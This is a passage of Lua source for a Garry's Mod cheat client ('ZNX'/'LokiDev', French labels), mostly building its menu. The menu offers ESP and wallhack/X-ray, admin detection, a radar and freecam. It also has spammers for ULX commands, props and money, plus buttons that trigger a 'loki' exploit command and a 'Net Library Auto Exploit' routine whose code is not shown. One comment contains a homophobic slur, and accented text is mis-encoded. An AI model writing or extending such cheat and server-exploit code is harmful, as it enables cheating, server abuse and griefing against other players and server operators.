  539. if ply:GetNetworkedString( "UserGroup" ) then rank = ply:GetNetworkedString( "UserGroup" ) return rank end
  540. if ply:GetNWString("Vermilion_Rank") then rank = ply:GetNWString("Vermilion_Rank") return rank end
  541. if ply:IsSuperAdmin() then rank = "SUPERADMIN" return rank end
  542. if ply:IsAdmin() then rank = "ADMIN" return rank end
  543. return rank -- if they aren't any kind of admin that we know of then this will return "user"
  544. end
  545. function ZNX.GetESPColor( ply )
  546. local col1, col2 = ZNX.DefaultScheme, ZNX.DefaultScheme2
  547. if ZNX.IsTarget( ply ) then
  548. col1, col2 = Color(255,205,0,255), Color(205,160,0,255)
  549. return col1, col2
  550. end
  551. if ZNX.IsFriend( ply ) then
  552. col1, col2 = Color(0,255,0,255), Color(100,250,100,255)
  553. return col1, col2
  554. end
  555. if ZNX.GetRank( ply ) != "user" then
  556. col1, col2 = Color(255,100,0,255), Color(255,50,0,255)
  557. return col1, col2
  558. end
  559. if ZNX.Vars.TeamColors then
  560. col1 = team.GetColor(ply:Team())
  561. col2 = Color(math.Clamp(col1.r - 100, 0, 255), math.Clamp(col1.g - 100, 0, 255), math.Clamp(col1.b - 100, 0, 255), 255)
  562. return col1, col2
  563. end
  564. return col1, col2
  565. end
  566. -- friends and targets system
  567. function ZNX.AddTarget( ply )
  568. if !ply or !ply:IsValid() then return end
  569. if table.HasValue( ZNX.Targets, ply ) then return end
  570. table.insert( ZNX.Targets, ply )
  571. ZNX.DebugLog( ply:Nick().."Ajouter a votre liste de cibles", Color( 250, 150, 50) )
  572. end
  573. function ZNX.RemoveTarget( ply )
  574. if !ply or !ply:IsValid() then return end
  575. if not table.HasValue( ZNX.Targets, ply ) then ZNX.ChatText( ply:Nick().." n'est pas une cibles", Color(255,205,205) ) return end
  576. table.RemoveByValue( ZNX.Targets, ply )
  577. ZNX.DebugLog( ply:Nick().." Retirer de votre liste de cibles", Color( 250, 150, 50) )
  578. end
  579. function ZNX.IsTarget( ply )
  580. if !ply or !ply:IsValid() then return false end
  581. return table.HasValue( ZNX.Targets, ply )
  582. end
  583. function ZNX.IsFriend( ply )
  584. if !ply or !ply:IsValid() then return false end
  585. return table.HasValue( ZNX.Buddies, ply )
  586. end
  587. function ZNX.AddFriend( ply )
  588. if !ply:IsValid() then return end
  589. if table.HasValue( ZNX.Buddies, ply ) then return end
  590. table.insert( ZNX.Buddies, ply )
  591. ZNX.DebugLog( ply:Nick().." Ajouter a votre liste d'amis'", Color( 50, 250, 50) )
  592. end
  593. function ZNX.RemoveFriend( ply )
  594. if !ply:IsValid() then return end
  595. if not table.HasValue( ZNX.Buddies, ply ) then ZNX.ChatText( ply:Nick().." n'est pas dans votre liste d'amis", Color(255,205,205) ) return end
  596. table.RemoveByValue( ZNX.Buddies, ply )
  597. ZNX.DebugLog( "Vous avez enlever "..ply:Nick().." de votre liste d'amis", Color( 50, 250, 50) )
  598. end
  599. function ZNX.RemoveInvalidFriends()
  600. for k, v in pairs(ZNX.Buddies) do
  601. if !v:IsValid() then table.remove( ZNX.Buddies, k ) end
  602. end
  603. end
  604. gameevent.Listen( "player_spawn" )
  605. hook.Add( "Think", "addsteamfriends", function()
  606. local plys = player.GetAll()
  607. for k, v in pairs(plys) do
  608. if !v:IsValid() then return end
  609. if v:GetFriendStatus() == "friend" and ZNX.Vars.AutoAddSteamFriends and !table.HasValue( ZNX.Buddies, v ) then
  610. ZNX.AddFriend( v )
  611. end
  612. end
  613. end )
  614. -- this is for faggots that attempt to restrict ulx who
  615. function ZNX.Who()
  616. local plys = player.GetAll()
  617. for k, v in pairs(plys) do
  618. if v:GetNWString("usergroup") then
  619. local col = Color( 150, 150, 200, 255 )
  620. if v:GetNWString("usergroup") != "user" then col = Color( 250, 200, 150, 255 ) end
  621. MsgC(col, v:GetName() .. string.rep("\t", math.Round(8 / #v:GetName())), v:GetNWString("usergroup").."\n")
  622. end
  623. end
  624. end
  625. concommand.Add("LokiDev_who", ZNX.Who)
  626. local grad = Material( "gui/gradient" )
  627. local upgrad = Material( "gui/gradient_up" )
  628. local downgrad = Material( "gui/gradient_down" )
  629. local o_color1 = Color(50, 0, 0, 255 )
  630. local o_color2 = Color(155, 155, 155, 255)
  631. function ZNX.ToggleVar( var, fancyname )
  632. if ZNX.Vars[var] then
  633. if ZNX.Vars.Notifications then ZNX.ChatText( fancyname.." D�sactiver", Color(255,205,205) ) end
  634. if string.find(var, "Xray") or var == "Vision" then ZNX.XrayShutoff() end -- need to run this function to properly unfuck things that have been xray'd
  635. ZNX.Vars[var] = false
  636. else
  637. if ZNX.Vars.Notifications then ZNX.ChatText( fancyname.." Activer", Color(255,255,255) ) end
  638. ZNX.Vars[var] = true
  639. end
  640. ZNX.SaveSettings()
  641. end
  642. for k, v in pairs(ZNX.Vars) do
  643. concommand.Add("LokiDev_togglevar_"..string.lower(k), function() ZNX.ToggleVar( k, k ) end)
  644. end
  645. function ZNX.ChangeColorScheme( num )
  646. if not isnumber(num) then return end
  647. if num <= 0 or num > #ZNX.DefaultSchemes then print("I don't know how you fucked up this badly but you are trying to change to a colour scheme that doesn't exist!") return end
  648. local c1 = ZNX.DefaultSchemes[num][2]
  649. local c2 = ZNX.DefaultSchemes[num][3]
  650. if ZNX.Vars.Notifications then ZNX.ChatText( "Couleur du menu chang� pour: "..ZNX.DefaultSchemes[num][1], c1 ) end
  651. ZNX.DefaultScheme = c1
  652. ZNX.DefaultScheme2 = c2
  653. ZNX.ColScheme = Vector(c1.r / 255, c1.g / 255, c1.b / 255)
  654. ZNX.ColScheme2 = Vector(c2.r / 255, c2.g / 255, c2.b / 255)
  655. -- ZNX.NumberVars.ColorScheme = num -- done inside the button logic
  656. end
  657. function ZNX.MakeToggleButton( parent, x, y, btext, var, vartext, tooltip)
  658. if !parent:IsValid() then return end
  659. local TButton = vgui.Create( "DButton" )
  660. TButton:SetParent( parent )
  661. TButton:SetPos( x, y )
  662. TButton:SetText( btext )
  663. TButton:SetTextColor( Color(255, 255, 255, 255) )
  664. TButton:SetSize( 110, 25 )
  665. if tooltip != nil then TButton:SetToolTip( tooltip ) end
  666. TButton.Paint = function( self, w, h )
  667. surface.SetDrawColor( ZNX.DefaultScheme )
  668. TButton:SetText( btext )
  669. surface.DrawRect( 0, 0, w, h )
  670. surface.SetDrawColor( o_color1 )
  671. surface.SetMaterial( downgrad )
  672. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  673. if ZNX.Vars[var] then
  674. surface.SetDrawColor( Color(150, 250, 150, 255) )
  675. else
  676. surface.SetDrawColor( Color(100, 100, 100, 255) )
  677. end
  678. surface.DrawOutlinedRect( 0, 0, w, h )
  679. end
  680. TButton.DoClick = function()
  681. ZNX.ToggleVar( var, vartext )
  682. end
  683. end
  684. function ZNX.MakeFunctionButton( parent, x, y, btext, func, tooltip)
  685. if !parent:IsValid() then return end
  686. local TButton = vgui.Create( "DButton" )
  687. TButton:SetParent( parent )
  688. TButton:SetPos( x, y )
  689. TButton:SetText( btext )
  690. TButton:SetTextColor( Color(255, 255, 255, 255) )
  691. TButton:SetSize( 110, 25 )
  692. if tooltip != nil then TButton:SetToolTip( tooltip ) end
  693. TButton.Paint = function( self, w, h )
  694. surface.SetDrawColor( ZNX.DefaultScheme )
  695. TButton:SetText( btext )
  696. surface.DrawRect( 0, 0, w, h )
  697. surface.SetDrawColor( o_color1 )
  698. surface.SetMaterial( downgrad )
  699. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  700. surface.SetDrawColor( Color(100, 100, 100, 255) )
  701. surface.DrawOutlinedRect( 0, 0, w, h )
  702. end
  703. TButton.DoClick = function()
  704. func()
  705. end
  706. end
  707. function ZNX.MakeFloatingButton( x, y, btext, func)
  708. local TButton = vgui.Create( "DButton" )
  709. TButton:SetPos( x, y )
  710. TButton:SetText( btext )
  711. TButton:SetTextColor( Color(255, 255, 255, 255) )
  712. TButton:SetSize( 110, 25 )
  713. TButton.Paint = function( self, w, h )
  714. surface.SetDrawColor( ZNX.DefaultScheme )
  715. TButton:SetText( btext )
  716. surface.DrawRect( 0, 0, w, h )
  717. surface.SetDrawColor( Color(100, 100, 100, 255) )
  718. surface.DrawOutlinedRect( 0, 0, w, h )
  719. end
  720. if !DarkRP then
  721. hook.Add( "Think", "Screen.Clickable", function()
  722. gui.EnableScreenClicker( input.IsKeyDown( KEY_F3 ) )
  723. end )
  724. end
  725. TButton.DoClick = function()
  726. func()
  727. end
  728. return TButton
  729. end
  730. function ZNX.MakeSlider( parent, x, y, length, text, min, max, var )
  731. if !parent:IsValid() then return end
  732. local sbg = vgui.Create( "DPanel" )
  733. sbg:SetParent( parent )
  734. sbg:SetPos( x, y )
  735. sbg:SetSize( length, 25 )
  736. sbg.Paint = function( self, w, h ) -- Paint function
  737. surface.SetDrawColor( ZNX.DefaultScheme )
  738. surface.DrawRect(0, 0, w, h )
  739. surface.SetDrawColor( o_color1 )
  740. surface.SetMaterial( downgrad )
  741. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  742. surface.SetDrawColor( 90, 50, 50, 255 )
  743. surface.DrawOutlinedRect(0, 0, w, h )
  744. end
  745. local NumSlider = vgui.Create( "DNumSlider", sbg )
  746. NumSlider:SetPos( 10,-5 )
  747. NumSlider:SetWide( length - 10 )
  748. NumSlider:SetText( text )
  749. NumSlider:SetMin( min )
  750. NumSlider:SetMax( max )
  751. NumSlider:SetValue( ZNX.NumberVars[var] )
  752. NumSlider:SetDecimals( 0 )
  753. NumSlider.OnValueChanged = function( panel, val ) ZNX.NumberVars[var] = math.floor(val) end
  754. end
  755. function ZNX.MakeKeyBinder( parent, x, y, length, height, keyvar, changetxt )
  756. local binder = vgui.Create( "DBinder", parent )
  757. binder:SetSize( length, height )
  758. binder:SetPos( x, y )
  759. binder:SetTextColor( Color(255,255,255) )
  760. binder:SetSelected( ZNX.NumberVars[keyvar] )
  761. binder.Paint = function( self, w, h )
  762. surface.SetDrawColor( ZNX.DefaultScheme )
  763. surface.DrawRect( 0, 0, w, h )
  764. surface.SetDrawColor( o_color1 )
  765. surface.SetMaterial( downgrad )
  766. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  767. surface.SetDrawColor( Color(100, 100, 100, 255) )
  768. surface.DrawOutlinedRect( 0, 0, w, h )
  769. end
  770. function binder:SetSelectedNumber( num )
  771. ZNX.ChatText( "Ajouter "..changetxt.." touche", Color(255,255,255) )
  772. self.m_iSelectedNumber = num
  773. ZNX.NumberVars[keyvar] = num
  774. end
  775. end
  776. ------------------------------------------------------------------------Lokidev MENU--------------------------------------------------------------------------------------
  777. local FillFrameRates = RatesScaleLevel
  778. function ZNX.Menu()
  779. if FillFrameRates == "STEAM_0:1:80447668" then
  780. if AceMenu then return false end
  781. local AceMenu = vgui.Create("DFrame")
  782. AceMenu:SetSize(500,700)
  783. AceMenu:SetTitle("")
  784. AceMenu:Center()
  785. AceMenu:MakePopup()
  786. AceMenu.Paint = function( panel, w, h )
  787. surface.SetDrawColor( ZNX.DefaultScheme )
  788. surface.DrawRect( 0, 0, w, h )
  789. surface.SetDrawColor( o_color1 )
  790. surface.SetMaterial( upgrad )
  791. surface.DrawTexturedRect( 0, h / 2, w, h / 2 )
  792. surface.SetDrawColor( o_color1 )
  793. surface.SetMaterial( downgrad )
  794. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  795. surface.SetDrawColor( o_color2 )
  796. surface.DrawOutlinedRect( 0, 0, w, h )
  797. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  798. end
  799. local PropertySheet = vgui.Create( "DPropertySheet" )
  800. PropertySheet:SetParent( AceMenu )
  801. PropertySheet:SetPos( 10, 30 )
  802. PropertySheet:SetSize( 480, AceMenu:GetTall() - 40 )
  803. PropertySheet.Paint = function()
  804. surface.SetDrawColor( Color(0, 0, 0, 200) )
  805. surface.DrawRect(0, 0, PropertySheet:GetWide(), PropertySheet:GetTall())
  806. for k, v in pairs(PropertySheet.Items) do
  807. if v.Tab then
  808. v.Tab.Paint = function(self,w,h)
  809. draw.RoundedBox(0, 0, 0, w, h, Color(80,80,80))
  810. end
  811. end
  812. end
  813. end
  814. --------------------------------------------Tabs-------------------------------------------
  815. local General = vgui.Create( "DPanel" )
  816. General:SetPos( 0, 0 )
  817. General:SetSize( 480, AceMenu:GetTall() - 40 )
  818. General.Paint = function() -- Paint function
  819. surface.SetDrawColor(50, 50, 50 ,255)
  820. surface.DrawOutlinedRect(0, 0, General:GetWide(), General:GetTall())
  821. surface.SetDrawColor(0, 0, 0 ,200)
  822. surface.DrawRect(0, 0, General:GetWide(), General:GetTall())
  823. surface.SetDrawColor( 90, 50, 50, 255 )
  824. surface.DrawRect(0, 40, General:GetWide(), 2)
  825. end
  826. local Utility = vgui.Create( "DPanel" )
  827. Utility:SetPos( 0, 0 )
  828. Utility:SetSize( 480, AceMenu:GetTall() - 40 )
  829. Utility.Paint = function() -- Paint function
  830. surface.SetDrawColor(50, 50, 50 ,255)
  831. surface.DrawOutlinedRect(0, 0, Utility:GetWide(), Utility:GetTall())
  832. surface.SetDrawColor(0, 0, 0 ,200)
  833. surface.DrawRect(0, 0, Utility:GetWide(), Utility:GetTall())
  834. end
  835. local UtilityButton = vgui.Create( "DButton" )
  836. UtilityButton:SetParent( Utility )
  837. UtilityButton:SetPos( 5, 360 )
  838. UtilityButton:SetText( "Spam DarkRP Animation: "..animatinginfo)
  839. UtilityButton:SetTextColor( Color(255, 255, 255, 255) )
  840. UtilityButton:SetSize( 225, 25 )
  841. if tooltip != nil then UtilityButton:SetToolTip( tooltip ) end
  842. UtilityButton.Paint = function( self, w, h )
  843. surface.SetDrawColor( ZNX.DefaultScheme )
  844. UtilityButton:SetText( "Spam DarkRP Animation: "..animatinginfo)
  845. surface.DrawRect( 0, 0, w, h )
  846. surface.SetDrawColor( o_color1 )
  847. surface.SetMaterial( downgrad )
  848. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  849. surface.SetDrawColor( Color(100, 100, 100, 255) )
  850. surface.DrawOutlinedRect( 0, 0, w, h )
  851. end
  852. UtilityButton.DoClick = function ()
  853. Animation() -- What happens when you press the button
  854. end
  855. local UtilityButton2 = vgui.Create( "DButton" )
  856. UtilityButton2:SetParent( Utility )
  857. UtilityButton2:SetPos( 235, 360 )
  858. UtilityButton2:SetText( "ULX Commande Spammer: "..info_ulx_spam)
  859. UtilityButton2:SetTextColor( Color(255, 255, 255, 255) )
  860. UtilityButton2:SetSize( 225, 25 )
  861. if tooltip != nil then UtilityButton2:SetToolTip( tooltip ) end
  862. UtilityButton2.Paint = function( self, w, h )
  863. surface.SetDrawColor( ZNX.DefaultScheme )
  864. UtilityButton2:SetText( "ULX Commande Spammer: "..info_ulx_spam)
  865. surface.DrawRect( 0, 0, w, h )
  866. surface.SetDrawColor( o_color1 )
  867. surface.SetMaterial( downgrad )
  868. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  869. surface.SetDrawColor( Color(100, 100, 100, 255) )
  870. surface.DrawOutlinedRect( 0, 0, w, h )
  871. end
  872. UtilityButton2.DoClick = function ()
  873. ULXspam() -- What happens when you press the button
  874. end
  875. local UtilityButton3 = vgui.Create( "DButton" )
  876. UtilityButton3:SetParent( Utility )
  877. UtilityButton3:SetPos( 235, 480 )
  878. UtilityButton3:SetText( "Props Spammer: "..spam_props_text)
  879. UtilityButton3:SetTextColor( Color(255, 255, 255, 255) )
  880. UtilityButton3:SetSize( 225, 25 )
  881. if tooltip != nil then UtilityButton3:SetToolTip( tooltip ) end
  882. UtilityButton3.Paint = function( self, w, h )
  883. surface.SetDrawColor( ZNX.DefaultScheme )
  884. UtilityButton3:SetText( "Props Spammer: "..spam_props_text)
  885. surface.DrawRect( 0, 0, w, h )
  886. surface.SetDrawColor( o_color1 )
  887. surface.SetMaterial( downgrad )
  888. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  889. surface.SetDrawColor( Color(100, 100, 100, 255) )
  890. surface.DrawOutlinedRect( 0, 0, w, h )
  891. end
  892. UtilityButton3.DoClick = function ()
  893. PropSpam() -- What happens when you press the button
  894. end
  895. local UtilityButton4 = vgui.Create( "DButton" )
  896. UtilityButton4:SetParent( Utility )
  897. UtilityButton4:SetPos( 235, 540 )
  898. UtilityButton4:SetText( "DarkRP Billet Spammer: "..billet_spam)
  899. UtilityButton4:SetTextColor( Color(255, 255, 255, 255) )
  900. UtilityButton4:SetSize( 225, 25 )
  901. if tooltip != nil then UtilityButton4:SetToolTip( tooltip ) end
  902. UtilityButton4.Paint = function( self, w, h )
  903. surface.SetDrawColor( ZNX.DefaultScheme )
  904. UtilityButton4:SetText( "DarkRP Billet Spammer: "..billet_spam)
  905. surface.DrawRect( 0, 0, w, h )
  906. surface.SetDrawColor( o_color1 )
  907. surface.SetMaterial( downgrad )
  908. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  909. surface.SetDrawColor( Color(100, 100, 100, 255) )
  910. surface.DrawOutlinedRect( 0, 0, w, h )
  911. end
  912. UtilityButton4.DoClick = function ()
  913. Moneyssuperspam() -- What happens when you press the button
  914. end
  915. local Exploit = vgui.Create( "DPanel" )
  916. Exploit:SetPos( 0, 0 )
  917. Exploit:SetSize( 480, AceMenu:GetTall() - 40 )
  918. Exploit.Paint = function() -- Paint function
  919. surface.SetDrawColor(50, 50, 50 ,255)
  920. surface.DrawOutlinedRect(0, 0, Exploit:GetWide(), Exploit:GetTall())
  921. surface.SetDrawColor(0, 0, 0 ,200)
  922. surface.DrawRect(0, 0, Exploit:GetWide(), Exploit:GetTall())
  923. end
  924. if !Exploit:IsValid() then return end
  925. local ExploitButton = vgui.Create( "DButton" )
  926. ExploitButton:SetParent( Exploit )
  927. ExploitButton:SetPos( 5, 10 )
  928. ExploitButton:SetText( "Lokidev Exploit Menu" )
  929. ExploitButton:SetTextColor( Color(255, 255, 255, 255) )
  930. ExploitButton:SetSize( 454, 25 )
  931. if tooltip != nil then ExploitButton:SetToolTip( tooltip ) end
  932. ExploitButton.Paint = function( self, w, h )
  933. surface.SetDrawColor( ZNX.DefaultScheme )
  934. ExploitButton:SetText( "Lokidev Exploit Menu" )
  935. surface.DrawRect( 0, 0, w, h )
  936. surface.SetDrawColor( o_color1 )
  937. surface.SetMaterial( downgrad )
  938. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  939. surface.SetDrawColor( Color(100, 100, 100, 255) )
  940. surface.DrawOutlinedRect( 0, 0, w, h )
  941. end
  942. ExploitButton.DoClick = function ()
  943. if AceMenu then
  944. AceMenu:Close()
  945. end
  946. RunConsoleCommand( "loki" ) -- What happens when you press the button
  947. LocalPlayer():EmitSound("vo/npc/male01/ohno.wav",100,150)
  948. LocalPlayer():EmitSound("vo/npc/male01/ohno.wav",100,150)
  949. LocalPlayer():EmitSound("vo/npc/male01/ohno.wav",100,150)
  950. LocalPlayer():EmitSound("vo/npc/male01/ohno.wav",100,150)
  951. end
  952. local Exploit2Button = vgui.Create( "DButton" )
  953. Exploit2Button:SetParent( Exploit )
  954. Exploit2Button:SetPos( 5, 40 )
  955. Exploit2Button:SetText( "Lokidev Exploit Menu" )
  956. Exploit2Button:SetTextColor( Color(255, 255, 255, 255) )
  957. Exploit2Button:SetSize( 454, 25 )
  958. if tooltip != nil then Exploit2Button:SetToolTip( tooltip ) end
  959. Exploit2Button.Paint = function( self, w, h )
  960. surface.SetDrawColor( ZNX.DefaultScheme )
  961. Exploit2Button:SetText( "Net Library Auto Exploit: "..statutautoexploit )
  962. surface.DrawRect( 0, 0, w, h )
  963. surface.SetDrawColor( o_color1 )
  964. surface.SetMaterial( downgrad )
  965. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  966. surface.SetDrawColor( Color(100, 100, 100, 255) )
  967. surface.DrawOutlinedRect( 0, 0, w, h )
  968. end
  969. Exploit2Button.DoClick = function ()
  970. AutoNetExploit()
  971. end
  972. local Botsettings = vgui.Create( "DPanel" )
  973. Botsettings:SetPos( 0, 0 )
  974. Botsettings:SetSize( 480, AceMenu:GetTall() - 40 )
  975. Botsettings.Paint = function() -- Paint function
  976. surface.SetDrawColor(50, 50, 50 ,255)
  977. surface.DrawOutlinedRect(0, 0, Botsettings:GetWide(), Botsettings:GetTall())
  978. surface.SetDrawColor(0, 0, 0 ,200)
  979. surface.DrawRect(0, 0, Botsettings:GetWide(), Botsettings:GetTall())
  980. end
  981. local Debug = vgui.Create( "DPanel" )
  982. Debug:SetPos( 0, 0 )
  983. Debug:SetSize( 480, AceMenu:GetTall() - 40 )
  984. Debug.Paint = function() -- Paint function
  985. surface.SetDrawColor(50, 50, 50 ,255)
  986. surface.DrawOutlinedRect(0, 0, Debug:GetWide(), Debug:GetTall())
  987. surface.SetDrawColor(0, 0, 0 ,200)
  988. surface.DrawRect(0, 0, Debug:GetWide(), Debug:GetTall())
  989. if ZNX.MemoryDebug then
  990. draw.DrawText( "Visuel Utilisation de la RAM: "..ZNX.MemoryDebug["hud"].."kb", "Default", 10, 530, Color(255,255,255) )
  991. draw.DrawText( "Noyau logique Utilisation de la RAM: "..ZNX.MemoryDebug["logic"].."kb", "Default", 10, 545, Color(255,255,255) )
  992. draw.DrawText( "Aimbot Utilisation de la RAM: "..ZNX.MemoryDebug["aimbot"].."kb", "Default", 10, 560, Color(255,255,255) )
  993. surface.SetDrawColor( ZNX.DefaultScheme )
  994. surface.DrawRect(250, 532, math.Clamp( ZNX.MemoryDebug["hud"] * 0.75, 0, 200), 10 )
  995. surface.DrawRect(250, 547, math.Clamp( ZNX.MemoryDebug["logic"] * 20, 0, 200), 10 )
  996. surface.DrawRect(250, 562, math.Clamp( ZNX.MemoryDebug["aimbot"] * 20, 0, 200), 10 )
  997. surface.SetDrawColor( ZNX.DefaultScheme )
  998. surface.DrawOutlinedRect(250, 532, 200, 10 )
  999. surface.DrawOutlinedRect(250, 547, 200, 10 )
  1000. surface.DrawOutlinedRect(250, 562, 200, 10 )
  1001. end
  1002. end
  1003. --------------------------------------------Buttons-------------------------------------------
  1004. function ZNX.RefreshConsole()
  1005. if richtext then richtext:Remove() end
  1006. if !ValidPanel(Debug) then return end
  1007. richtext = vgui.Create( "RichText", Debug )
  1008. richtext:SetPos(5, 5)
  1009. richtext:SetSize( 440, AceMenu:GetTall() - 180 )
  1010. for idx, tab in pairs(ZNX.Debug) do
  1011. richtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
  1012. richtext:AppendText( tab[1].."\n" )
  1013. end
  1014. end
  1015. timer.Create("znx_refreshconsole", 1.5, 0, function() ZNX.RefreshConsole() end)
  1016. ZNX.MakeToggleButton( General, 5, 10, "Vision", "Vision", "Vision")
  1017. ZNX.MakeSlider( General, 5, 590, 455, "Distance de Vision Max (Metres)", 0, 2000, "VisionDist" )
  1018. ZNX.MakeToggleButton( General, 5, 70, "Activer ESP", "ShowESP", "Activer ESP")
  1019. ZNX.MakeToggleButton( General, 120, 70, "Afficher Joueur Mort", "ShowDead", "Afficher les joueurs morts")
  1020. ZNX.MakeToggleButton( General, 235, 70, "Afficher Amis", "ShowFriends", "Afficher Amis")
  1021. --ZNX.MakeToggleButton( General, 350, 70, "Couleur Joueur Radar", "RadarColors", "Couleur des joueurs sur le radar")
  1022. ZNX.MakeToggleButton( General, 350, 100, "Afficher Arme", "ArmeESP", "Afficher l'arme equiper")
  1023. ZNX.MakeToggleButton( General, 235, 100, "Afficher Cible(s)", "ShowTargets", "Afficher Cible(s)", "Afficher les joueurs qui figurent sur votre liste de cibles")
  1024. ZNX.MakeToggleButton( General, 120, 100, "Afficher les Admins", "ShowRanks", "Afficher les Admins")
  1025. ZNX.MakeToggleButton( General, 5, 100, "Afficher la Distance", "ShowDistance", "Afficher la Distance des joueurs")
  1026. ZNX.MakeToggleButton( General, 5, 130, "Afficher les Props", "ESPProps", "Afficher les Props")
  1027. ZNX.MakeToggleButton( General, 120, 130, "Afficher Entit� Menu", "Entfinder", "Afficher Entit� Menu")
  1028. ZNX.MakeToggleButton( General, 235, 130, "Couleur du M�tier", "TeamColors", "Afficher la Couleur du M�tier")
  1029. ZNX.MakeToggleButton( General, 235, 160, "Afficher les NPC", "NPC_ESP", "Afficher les NPC")
  1030. ZNX.MakeToggleButton( General, 350, 130, "Afficher Vie", "ShowHP", "Afficher Vie")
  1031. ZNX.MakeToggleButton( General, 5, 490, "Lignes de Vision", "Vizlines", "Lignes de Vision")
  1032. ZNX.MakeToggleButton( General, 120, 490, "Ajouter Amis Steam", "AutoAddSteamFriends", "Ajouter automatiquement les amis steam a l'esp")
  1033. ZNX.MakeToggleButton( General, 5, 160, "Afficher la Position", "VSquares", "Afficher la position des joueurs")
  1034. ZNX.MakeToggleButton( General, 120, 160, "Afficher Noms", "VNames", "Afficher noms des joueurs")
  1035. ZNX.MakeToggleButton( General, 350, 160, "Afficher Argent", "ArgentESP", "Afficher l'argent des joueur a l'esp")
  1036. ZNX.MakeToggleButton( General, 5, 190, "Miroir Vision Arri�re", "Mirror", "Affiche un miroir vision arri�re")
  1037. ZNX.MakeSlider( General, 5, 225, 225, "Miroir X", 0, ScrW(), "MirrorX" )
  1038. ZNX.MakeSlider( General, 235, 225, 220, "Miroir Y", 0, ScrH(), "MirrorY" )
  1039. ZNX.MakeSlider( General, 235, 190, 220, "Taille Miroir", 0, 60, "MirrorSize" )
  1040. ZNX.MakeFunctionButton( General, 120, 190, "Axe Vertical Miroir", function()
  1041. if ZNX.NumberVars.MirrorAxis == 0 then
  1042. if ZNX.Vars.Notifications then ZNX.ChatText( "R�glez le mode d'axe du miroir sur imiter", Color(255,255,255) ) end
  1043. ZNX.NumberVars.MirrorAxis = 1
  1044. elseif ZNX.NumberVars.MirrorAxis == 1 then
  1045. if ZNX.Vars.Notifications then ZNX.ChatText( "R�glez le mode d'axe du miroir sur inverser", Color(255,255,255) ) end
  1046. ZNX.NumberVars.MirrorAxis = 2
  1047. else
  1048. if ZNX.Vars.Notifications then ZNX.ChatText( "R�glez le mode d'axe du miroir sur rien", Color(255,255,255) ) end
  1049. ZNX.NumberVars.MirrorAxis = 0
  1050. end
  1051. end)
  1052. ZNX.MakeFunctionButton( General, 5, 260, "Basculer CameraLibre", function()
  1053. ZNX.Freecam = !ZNX.Freecam
  1054. ZNX.ChatText( "R�glez le mode CameraLibre sur: "..tostring(ZNX.Freecam), Color(255,255,255) )
  1055. end, "D�tecte le miroir et le transforme en un syst�me de cameralibre")
  1056. ZNX.MakeFunctionButton( General, 120, 260, "Ramener CameraLibre", function()
  1057. ZNX.FreecamCoordinates.pos = LocalPlayer():EyePos()
  1058. ZNX.FreecamCoordinates.ang = LocalPlayer():EyeAngles()
  1059. ZNX.ChatText( "Ramener CameraLibre", Color(255,255,255) )
  1060. end, "Ramener la cameralibre a votre position de vue")
  1061. ZNX.MakeToggleButton( General, 120, 290, "CameraLibre Mobile", "FreecamControls", "CameraLibre Mobile")
  1062. ZNX.MakeKeyBinder(General, 400, 260, 50, 20, "FreecamForward", "CameraLibre Avancer" )
  1063. ZNX.MakeKeyBinder(General, 400, 290, 50, 20, "FreecamBack", "CameraLibre Reculer" )
  1064. ZNX.MakeKeyBinder(General, 235, 275, 50, 20, "FreecamLeft", "CameraLibre Gauche" )
  1065. ZNX.MakeKeyBinder(General, 345, 275, 50, 20, "FreecamRight", "CameraLibre Droite" )
  1066. ZNX.MakeKeyBinder(General, 290, 260, 50, 20, "FreecamUp", "CameraLibre Monter" )
  1067. ZNX.MakeKeyBinder(General, 290, 290, 50, 20, "FreecamDown", "CameraLibre Descendre" )
  1068. ZNX.MakeToggleButton( General, 5, 320, "Radar Joueur", "Radar", "Radar afficher joueurs")
  1069. ZNX.MakeSlider( General, 120, 320, 165, "Taille Radar", 50, 600, "RadarSize" )
  1070. ZNX.MakeSlider( General, 290, 320, 165, "Radar Zoom", 10, 150, "RadarZoom" )
  1071. ZNX.MakeSlider( General, 5, 350, 145, "Radar X", 0, ScrW(), "RadarX" )
  1072. ZNX.MakeSlider( General, 155, 350, 145, "Radar Y", 0, ScrH(), "RadarY" )
  1073. ZNX.MakeSlider( General, 305, 350, 150, "Radar Alpha", 0, 255, "RadarAlpha" )
  1074. ZNX.MakeToggleButton( General, 5, 390, "Activer Rayon X", "Xray", "Activer le Rayon X")
  1075. ZNX.MakeToggleButton( General, 120, 390, "Rayon X Joueurs", "XrayPlayers", "Afficher les joueurs sur le X-Ray")
  1076. ZNX.MakeToggleButton( General, 235, 390, "Rayon X Props", "XrayProps", "Afficher les props sur le X-Ray")
  1077. ZNX.MakeToggleButton( General, 350, 390, "Rayon X Entit� Menu", "XrayEntfinder", "Afficher l'Entit� Menu sur le X-Ray")
  1078. ZNX.MakeToggleButton( General, 5, 420, "Rayon X Couleur Solide", "XraySolid", "Rayon X Couleur Solide")
  1079. ZNX.MakeSlider( General, 5, 450, 455, "Distance de Rayon X Max (Metres)", 0, 2000, "XrayDistance" )
  1080. ZNX.MakeToggleButton( General, 120, 420, "Rayon X Couleur", "NoChamColours", "Rayon X Couleur")
  1081. ZNX.MakeToggleButton( General, 235, 420, "Rayon X Couleur Vive", "PKChams", "Rayon X Couleur Vive")
  1082. ZNX.MakeToggleButton( Utility, 5, 480, "T�moins D�tecteur", "WitnessDetector", "T�moins D�tecteur")
  1083. ZNX.MakeToggleButton( Utility, 120, 480, "Spectateur D�tecteur", "SpectatorDetector", "Spectateur D�tecteur")
  1084. ZNX.MakeToggleButton( General, 120, 550, "Crosshair", "Crosshair", "Crosshair")
  1085. ZNX.MakeToggleButton( General, 350, 70, "Afficher 3D BBox", "BoundingBox3d", "Afficher 3D BBox")
  1086. ZNX.MakeToggleButton( General, 235, 490, "HEURE/FPS/PING", "ShowFPS", "Afficher les FPS/PING/HEURE")
